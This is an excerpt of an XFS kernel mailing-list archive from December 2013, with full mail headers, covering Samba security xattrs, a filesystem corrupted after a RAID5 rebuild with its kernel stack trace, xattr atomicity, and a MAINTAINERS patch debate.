Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 5AA32AC005 for ; Sun, 15 Dec 2013 23:41:20 -0800 (PST) X-ASG-Debug-ID: 1387179677-04bdf00fde5f3e0001-NocioJ Received: from Ishtar.tlinx.org (ishtar.tlinx.org [173.164.175.65]) by cuda.sgi.com with ESMTP id Zv1Ks7QzHYQDq4eA (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 15 Dec 2013 23:41:18 -0800 (PST) X-Barracuda-Envelope-From: xfs@tlinx.org X-Barracuda-Apparent-Source-IP: 173.164.175.65 Received: from [192.168.4.12] (Athenae [192.168.4.12]) by Ishtar.tlinx.org (8.14.7/8.14.4/SuSE Linux 0.8) with ESMTP id rBG7fDZc059390; Sun, 15 Dec 2013 23:41:15 -0800 Message-ID: <52AEAE99.7060001@tlinx.org> Date: Sun, 15 Dec 2013 23:41:13 -0800 From: LA Walsh User-Agent: Thunderbird MIME-Version: 1.0 To: Dave Chinner CC: xfs-oss Subject: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. References: <52A96211.3050602@tlinx.org> <20131212181315.GB20500@samba2> <52AAC7CC.8000802@tlinx.org> <20131213105314.GA2117@infradead.org> <52AB7CDC.5040801@tlinx.org> <52ADBB00.8050707@tlinx.org> <20131215235443.GT31386@dastard> <52AE6364.7010106@tlinx.org> <20131216030215.GW31386@dastard> X-ASG-Orig-Subj: Re: usefulness of 'security attr' being non-copiable on discretionary access linux. In-Reply-To: <20131216030215.GW31386@dastard> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: ishtar.tlinx.org[173.164.175.65] X-Barracuda-Start-Time: 1387179678 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143137 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 12/15/2013 7:02 PM, Dave Chinner wrote: > It writes it into the "trusted" VFS xattr namespace which means it > knows *nothing* about how XFS stores it's xattrs on disk. ---- I never said it was correct, Dave. At best, I thought it might have represented some state in the past. >> ----- >> I'm running with the "default" security (Discretionary - >> mode bits + access lists + cap bits slowly supplanting need for root. > > So, did you turn the distro default selinux config off? ---- Suse ships AppArmor enabled by default, not selinux. I run my own kernel from kernel.org sources. (Suse doesn't support booting directly from disk, and /usr is expected to be mounted when the OS starts coming up (they put mount in /usr/bin now and a symlink in /bin pointing to /usr/bin. > You missed what I said completely. You didn't create the NT attr, > Samba did it on your behalf. Samba - the aplication that owns the > xattr - has higher privileges than you do, and so it can do things > you can't. Like manage attributes in the security namespace. --- I didn't miss it -- I was talking about user-proxies. The point of my running a linux server as a Domain Controller is that I have 1 point of security on my net -- the server, and whether I log in to a client or the server, I "should" (conceptually) have access to the same files. If I ssh from the client to the server, I see a message in messages: sshd accepted public key for Domain\\linda from [station]... Samba provides user and group name resolution and security for the server. >> ==== >> As I tried to make clear -- this is a new behavior I'm seeing. I've never >> had attrs on my files that I, as the file 'owner' couldn't move around >> to permitted locations. As it is an ACL, my feeling is it should be >> stored in the same way the posix acls are -- which are copyable. > > Then something above the filesystem has changed. We haven't changed > anything to do with who or how xattrs are stored or used in XFS for > a long time. ---- Neither the kernel nor xfs were high on my list of candidates. > > Cheers, --- and felicitations!... linda From rafaelweingartner@gmail.com Mon Dec 16 02:52:32 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C42A67F3F for ; Mon, 16 Dec 2013 02:52:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id A2E36304066 for ; Mon, 16 Dec 2013 00:52:29 -0800 (PST) X-ASG-Debug-ID: 1387183943-04cbb04167787de0001-NocioJ Received: from mail-vb0-f51.google.com (mail-vb0-f51.google.com [209.85.212.51]) by cuda.sgi.com with ESMTP id Qr7G0KMPbY9bZxAW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 16 Dec 2013 00:52:23 -0800 (PST) X-Barracuda-Envelope-From: rafaelweingartner@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.51 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.51] Received: by mail-vb0-f51.google.com with SMTP id 11so2935160vbe.38 for ; Mon, 16 Dec 2013 00:52:23 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.51] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.51] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=92cicBhwPi3jK/FvzpoO1IFOdo2n//a3vdwkT+wBmLs=; b=d6mNeVAxyqrUMrI728lPokTH5yiyw8DxvzkqeCNOc3iNOh/TnkSfGCsP0o91NqDzkD ziv+auA9oqt3jRNmzHBVwDYnBRrZX0OyTBFEToxxWUqtjOBAq8mcNVDFT3LejF2X/+Vs J2urLMOGsVK+1HnK/3lIQsCQgpBHzpNRUiFnNdJU5B2lXyGnTV0HXucbA3eeCa0NN2IM hKG8Nm+n6YSlG4A8BaBdjiH7PhfLzyyG9/KyneoRNB/qmCYkGZkzjChSB9JrZOU6FR+9 8CgRTzdKVm+MPkyLAx3e4K33ihLtKrmS+mQxcPbg5vBfGbs/bRavZuycx7jO4cQpjWcv sR1g== MIME-Version: 1.0 X-Received: by 10.58.208.130 with SMTP id me2mr7994067vec.13.1387183943392; Mon, 16 Dec 2013 00:52:23 -0800 (PST) Received: by 10.58.19.97 with HTTP; Mon, 16 Dec 2013 00:52:23 -0800 (PST) In-Reply-To: <20131216030537.GX31386@dastard> References: <20131216000141.GU31386@dastard> <20131216030537.GX31386@dastard> Date: Mon, 16 Dec 2013 06:52:23 -0200 Message-ID: Subject: Re: XFS_REPAIR on LVM partition From: Rafael Weingartner X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7bdc192c2f215104eda2ee7d X-Barracuda-Connect: mail-vb0-f51.google.com[209.85.212.51] X-Barracuda-Start-Time: 1387183943 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143138 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --047d7bdc192c2f215104eda2ee7d Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable What's a "RAID NAS controller"? Details, please, or we can't help > you. Maybe I am not expressing my self clearly. That is what I meant: http://www.starline.de/produkte/raid-systeme/infortrend-raid-systeme/eonsto= r/es-a08u-g2421/ It is a piece of hardware that we use to apply RAIDx (normally 1 or 5) over physical disks instead of plugging them on the storage server and applying RAID via software or something else. It exports the volumes using an SCSI channel. The devices are seen on the server as normal sd*, as if they were normal physical devices. So, hardware RAID5, lost a drive, rebuild on replace, filesystem in > a bad way after rebuild? That is exactly what happened, the RAID5 array lost a drive, and after we replaced and rebuild it, the filesystem was not mounting anymore. Teorically, this should not affect the filesystem since the RAID5 would have recovered any lost information. 2013/12/16 Dave Chinner > On Sun, Dec 15, 2013 at 10:34:43PM -0200, Rafael Weingartner wrote: > > So, sadly I went for the big hammer option, I thought that there were n= o > > other options ;). > > > > I'm guessing it can't find or validate the primary superblock, so > > > it's looking for a secondary superblock. Please post the output of > > > the running repair so we can see exactly what it is doing. > > > > That is exactly what it seems that it is happening. > > > > *dmesg erros:* > > > > > 81.927888] Pid: 878, comm: mount Not tainted 3.5.0-44-generic > > > #67~precise1-Ubuntu > > > [ 81.927891] Call Trace: > > > [ 81.927941] [] xfs_error_report+0x3f/0x50 [xfs] > > > [ 81.927972] [] ? xfs_free_extent+0xe6/0x130 [xf= s] > > > [ 81.927990] [] xfs_free_ag_extent+0x528/0x730 > [xfs] > > > [ 81.928007] [] ? kmem_zone_alloc+0x67/0xe0 [xfs= ] > > > [ 81.928033] [] xfs_free_extent+0xe6/0x130 [xfs] > > > [ 81.928055] [] > xlog_recover_process_efi+0x170/0x1b0 > > > [xfs] > > > [ 81.928075] [] > > > xlog_recover_process_efis.isra.8+0x76/0xd0 [xfs] > > > [ 81.928097] [] xlog_recover_finish+0x27/0xd0 > [xfs] > > > [ 81.928119] [] xfs_log_mount_finish+0x2c/0x30 > [xfs] > > > [ 81.928140] [] xfs_mountfs+0x420/0x6b0 [xfs] > > > [ 81.928156] [] xfs_fs_fill_super+0x21d/0x2b0 > [xfs] > > > [ 81.928163] [] mount_bdev+0x1c6/0x210 > > > [ 81.928179] [] ? xfs_parseargs+0xb80/0xb80 [xfs= ] > > > [ 81.928194] [] xfs_fs_mount+0x15/0x20 [xfs] > > > [ 81.928198] [] mount_fs+0x43/0x1b0 > > > [ 81.928202] [] ? find_filesystem+0x63/0x80 > > > [ 81.928206] [] vfs_kern_mount+0x76/0x120 > > > [ 81.928209] [] do_kern_mount+0x54/0x110 > > > [ 81.928212] [] do_mount+0x1a4/0x260 > > > [ 81.928215] [] sys_mount+0x90/0xe0 > > > [ 81.928220] [] system_call_fastpath+0x16/0x1b > > > [ 81.928229] XFS (dm-0): Failed to recover EFIs > > > [ 81.928232] XFS (dm-0): log mount finish failed > > > [ 81.972741] XFS (dm-1): Mounting Filesystem > > > [ 82.195661] XFS (dm-1): Ending clean mount > > > [ 82.203627] XFS (dm-2): Mounting Filesystem > > > [ 82.479044] XFS (dm-2): Ending clean mount > > > > Actually, the problem was a little bit more complicated. This LVM2 > > partition, was using a physical device (PV) that is exported by a RAID > NAS > > controller. > > What's a "RAID NAS controller"? Details, please, or we can't help > you. > > > This volume exported by the controller was created using a RAID > > 5, there was a hardware failure in one of the HDs of the array and the > > volume got unavailable, till we replaced the bad driver with a new one > and > > the array rebuild finished. > > So, hardware RAID5, lost a drive, rebuild on replace, filesystem in > a bad way after rebuild? > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com > --=20 Rafael Weing=E4rtner --047d7bdc192c2f215104eda2ee7d Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    What's a &q= uot;RAID NAS controller"? Details, please, or we can't help
    you.=

    Maybe I am not expressing my self clearly. That is what= I meant:
    http://www.sta= rline.de/produkte/raid-systeme/infortrend-raid-systeme/eonstor/es-a08u-g242= 1/

    It is a piece of hardware th= at we use to apply RAIDx (normally 1 or=A05) over physical disks instead of plugging=A0them on the s= torage server and applying RAID via software or something else. It exports = the volumes using=A0an SCSI channel. =A0The devices are seen on the server = as normal sd*, as if they were normal physical devices.

    So, hardware RAID5, lost a drive, rebuild= on replace, filesystem in
    a bad way after rebuild?
    =A0
    That is exactly what happened, the RAID5 a= rray=A0lost a drive, and after we replaced and rebuild it, the filesystem w= as not mounting anymore. Teorically, this should not affect the filesystem = since the RAID5 would have recovered any lost information.=A0



    2013/12/16 Dave Chinner <david@fromorbit.com>
    On Sun, Dec 15, 2013 at 10:34:43PM -0200, Rafael Weingart= ner wrote:
    > So, sadly I went for the big hammer option, I thought that there were = no
    > other options ;).
    >
    > I'm guessing it can't find or validate the primary superblock,= so
    > > it's looking for a secondary superblock. Please post the outp= ut of
    > > the running repair so we can see exactly what it is doing.
    >
    > That is exactly what it seems that it is happening.
    >
    > *dmesg erros:*
    >
    > > =A081.927888] Pid: 878, comm: mount Not tainted 3.5.0-44-generic<= br> > > #67~precise1-Ubuntu
    > > [ =A0 81.927891] Call Trace:
    > > [ =A0 81.927941] =A0[<ffffffffa01d460f>] xfs_error_report+0= x3f/0x50 [xfs]
    > > [ =A0 81.927972] =A0[<ffffffffa01ecd66>] ? xfs_free_extent+= 0xe6/0x130 [xfs]
    > > [ =A0 81.927990] =A0[<ffffffffa01ea318>] xfs_free_ag_extent= +0x528/0x730 [xfs]
    > > [ =A0 81.928007] =A0[<ffffffffa01e8e07>] ? kmem_zone_alloc+= 0x67/0xe0 [xfs]
    > > [ =A0 81.928033] =A0[<ffffffffa01ecd66>] xfs_free_extent+0x= e6/0x130 [xfs]
    > > [ =A0 81.928055] =A0[<ffffffffa021bb10>] xlog_recover_proce= ss_efi+0x170/0x1b0
    > > [xfs]
    > > [ =A0 81.928075] =A0[<ffffffffa021cd56>]
    > > xlog_recover_process_efis.isra.8+0x76/0xd0 [xfs]
    > > [ =A0 81.928097] =A0[<ffffffffa0220a17>] xlog_recover_finis= h+0x27/0xd0 [xfs]
    > > [ =A0 81.928119] =A0[<ffffffffa022812c>] xfs_log_mount_fini= sh+0x2c/0x30 [xfs]
    > > [ =A0 81.928140] =A0[<ffffffffa0223620>] xfs_mountfs+0x420/= 0x6b0 [xfs]
    > > [ =A0 81.928156] =A0[<ffffffffa01e2ffd>] xfs_fs_fill_super+= 0x21d/0x2b0 [xfs]
    > > [ =A0 81.928163] =A0[<ffffffff8118b716>] mount_bdev+0x1c6/0= x210
    > > [ =A0 81.928179] =A0[<ffffffffa01e2de0>] ? xfs_parseargs+0x= b80/0xb80 [xfs]
    > > [ =A0 81.928194] =A0[<ffffffffa01e10a5>] xfs_fs_mount+0x15/= 0x20 [xfs]
    > > [ =A0 81.928198] =A0[<ffffffff8118c563>] mount_fs+0x43/0x1b= 0
    > > [ =A0 81.928202] =A0[<ffffffff811a5ee3>] ? find_filesystem+= 0x63/0x80
    > > [ =A0 81.928206] =A0[<ffffffff811a7246>] vfs_kern_mount+0x7= 6/0x120
    > > [ =A0 81.928209] =A0[<ffffffff811a7c34>] do_kern_mount+0x54= /0x110
    > > [ =A0 81.928212] =A0[<ffffffff811a9934>] do_mount+0x1a4/0x2= 60
    > > [ =A0 81.928215] =A0[<ffffffff811a9e10>] sys_mount+0x90/0xe= 0
    > > [ =A0 81.928220] =A0[<ffffffff816a7729>] system_call_fastpa= th+0x16/0x1b
    > > [ =A0 81.928229] XFS (dm-0): Failed to recover EFIs
    > > [ =A0 81.928232] XFS (dm-0): log mount finish failed
    > > [ =A0 81.972741] XFS (dm-1): Mounting Filesystem
    > > [ =A0 82.195661] XFS (dm-1): Ending clean mount
    > > [ =A0 82.203627] XFS (dm-2): Mounting Filesystem
    > > [ =A0 82.479044] XFS (dm-2): Ending clean mount
    >
    > Actually, the problem was a little bit more complicated. This LVM2
    > partition, was using a physical device (PV) that is exported by a RAID= NAS
    > controller.

    What's a "RAID NAS controller"? Details, please, = or we can't help
    you.

    > This volume exported by the controller was created using a RAID
    > 5, there was a hardware failure in one of the HDs of the array and the=
    > volume got unavailable, till we replaced the bad driver with a new one= and
    > the array rebuild finished.

    So, hardware RAID5, lost a drive, rebuild on replace, filesystem in a bad way after rebuild?

    Cheers,

    Dave.
    --
    Dave Chinner
    david@fromorbit.com



    --
    =
    Rafael Weing=E4rtner
    --047d7bdc192c2f215104eda2ee7d-- From david@fromorbit.com Mon Dec 16 06:54:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 330877F3F for ; Mon, 16 Dec 2013 06:54:12 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5A45AC01C for ; Mon, 16 Dec 2013 04:54:08 -0800 (PST) X-ASG-Debug-ID: 1387198445-04cbb04169795530001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 27tymbjqSxoZ307p for ; Mon, 16 Dec 2013 04:54:06 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AgQUAF73rlJ5LHyk/2dsb2JhbABZgwo4pDUDjzSFVYEjF3SCJQEBBTocIxAIAxgJJQ8FJQMhE4gDDsdbFxaOOkkHgyOBEwSYFYpMh0mDPiiBLQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail05.adl6.internode.on.net with ESMTP; 16 Dec 2013 23:24:04 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VsXgR-0003ZP-0h; Mon, 16 Dec 2013 23:54:03 +1100 Date: Mon, 16 Dec 2013 23:54:02 +1100 From: Dave Chinner To: Rafael Weingartner Cc: xfs@oss.sgi.com Subject: Re: XFS_REPAIR on LVM partition Message-ID: <20131216125402.GB10988@dastard> X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition References: <20131216000141.GU31386@dastard> <20131216030537.GX31386@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1387198445 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143142 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: On Mon, Dec 16, 2013 at 06:52:23AM -0200, Rafael Weingartner wrote: > What's a "RAID NAS controller"? Details, please, or we can't help > > you. > > > Maybe I am not expressing my self clearly. That is what I meant: > http://www.starline.de/produkte/raid-systeme/infortrend-raid-systeme/eonstor/es-a08u-g2421/ > > It is a piece of hardware that we use to apply RAIDx (normally 1 or 5) over > physical disks instead of plugging them on the storage server and applying > RAID via software or something else. It exports the volumes using an SCSI > channel. The devices are seen on the server as normal sd*, as if they were > normal physical devices. > > So, hardware RAID5, lost a drive, rebuild on replace, filesystem in > > a bad way after rebuild? > > > That is exactly what happened, the RAID5 array lost a drive, and after we > replaced and rebuild it, the filesystem was not mounting anymore. > Teorically, this should not affect the filesystem since the RAID5 would > have recovered any lost information. In theory, yes. But we hear about "successful" hardware raid rebuilds ifrom situations like yours that result in corrupt filesystems. i.e. the hardware RAID rebuild didn't actually recover properly... So, what's the contents of the primary XFS superblock on that device? What does this give: # dd if= bs=512 count=1 | hexdump -C Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 16 09:19:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 8BB277F3F for ; Mon, 16 Dec 2013 09:19:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 79C708F8052 for ; Mon, 16 Dec 2013 07:19:05 -0800 (PST) X-ASG-Debug-ID: 1387207141-04cb6c537b7a6360001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 29h5syess4GexYWK (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 07:19:01 -0800 (PST) X-Barracuda-Envelope-From: BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VsZwi-0004K8-GC; Mon, 16 Dec 2013 15:19:00 +0000 Date: Mon, 16 Dec 2013 07:19:00 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: xattr atomicy Message-ID: <20131216151900.GA12360@infradead.org> X-ASG-Orig-Subj: Re: xattr atomicy References: <20131213115644.GA28551@infradead.org> <20131213215117.GV10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213215117.GV10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1387207141 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Sat, Dec 14, 2013 at 08:51:17AM +1100, Dave Chinner wrote: > Yes, but they are still atomic from a user and crash recovery > point of view.... I can't see how we can guarantee an atomic update for them, both in the case of an I/O error and an actual system crash. > Well, I think it's a bit different to the directory block case - the > directory blocks are filesystem metadata, while xattrs contain user > data. Hence if we log user xattrs a user can consume all of the log > bandwidth writing xattrs and degrade the metadata modification > performance of the rest of the filesystem. We're getting close to do that with namespace modifications with all your scalability work :) I think that's a point to consider, but not really black and white. It just makes it a bit easier to consume log bandwith, and increases the need to have some form of per-user quotas for this sort of operations. > So, IMO, the first question we need to answer is whether the current > behaviour is actually a problem for anyone.... I've not heard of real life problems, but an interfaces that has very nice behavior for the common case, but a much less optimal for a corner cases is bound to cause trouble. From BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 16 09:21:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 155AD7F3F for ; Mon, 16 Dec 2013 09:21:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DA9568F8054 for ; Mon, 16 Dec 2013 07:20:59 -0800 (PST) X-ASG-Debug-ID: 1387207254-04bdf00fde7a9b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 99Enu6qAVeKXE3C3 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Mon, 16 Dec 2013 07:20:55 -0800 (PST) X-Barracuda-Envelope-From: BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VsZyX-0005Wc-PH; Mon, 16 Dec 2013 15:20:53 +0000 Date: Mon, 16 Dec 2013 07:20:53 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Ben Myers , Christoph Hellwig , Zhi Yong Wu , Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-ID: <20131216152053.GB12360@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> <20131213163131.GC20803@infradead.org> <20131213202747.GL1935@sgi.com> <20131213220110.GW10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213220110.GW10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387207255 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143145 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Dec 14, 2013 at 09:01:10AM +1100, Dave Chinner wrote: > Well, I stand by what I wrote in that thread. There is absolutely > nothing wrong with having xfs@oss.sgi.com listed as a maintainer; > different and unusual doesn't mean it is wrong. I think life is much better if XFS follows the usual convention. We already drill into submitters heads that they should send patches and questions to the list for the whole kernel, and the angry behaviour of many maintainers when they get personal mail helps with that, too. Given that we already have maintainers names listed, and the list in the proper field I also can't see what this should buy us. From BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 16 09:23:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9C2DF7F3F for ; Mon, 16 Dec 2013 09:23:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 21103AC003 for ; Mon, 16 Dec 2013 07:23:39 -0800 (PST) X-ASG-Debug-ID: 1387207419-04bdf00fe27ab90001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id O3HVaAybwTSZXIcT (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 16 Dec 2013 07:23:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+c6d9f9ec2a8c1f5557a9+3767+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vsa1D-0005Ys-At; Mon, 16 Dec 2013 15:23:39 +0000 Date: Mon, 16 Dec 2013 07:23:39 -0800 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve Message-ID: <20131216152339.GC12360@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: xlog_recover_process_data leaks like a sieve References: <1386826478-13846-1-git-send-email-david@fromorbit.com> <1386826478-13846-6-git-send-email-david@fromorbit.com> <20131213123205.GA17935@infradead.org> <20131213221102.GX10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131213221102.GX10988@dastard> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387207419 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: 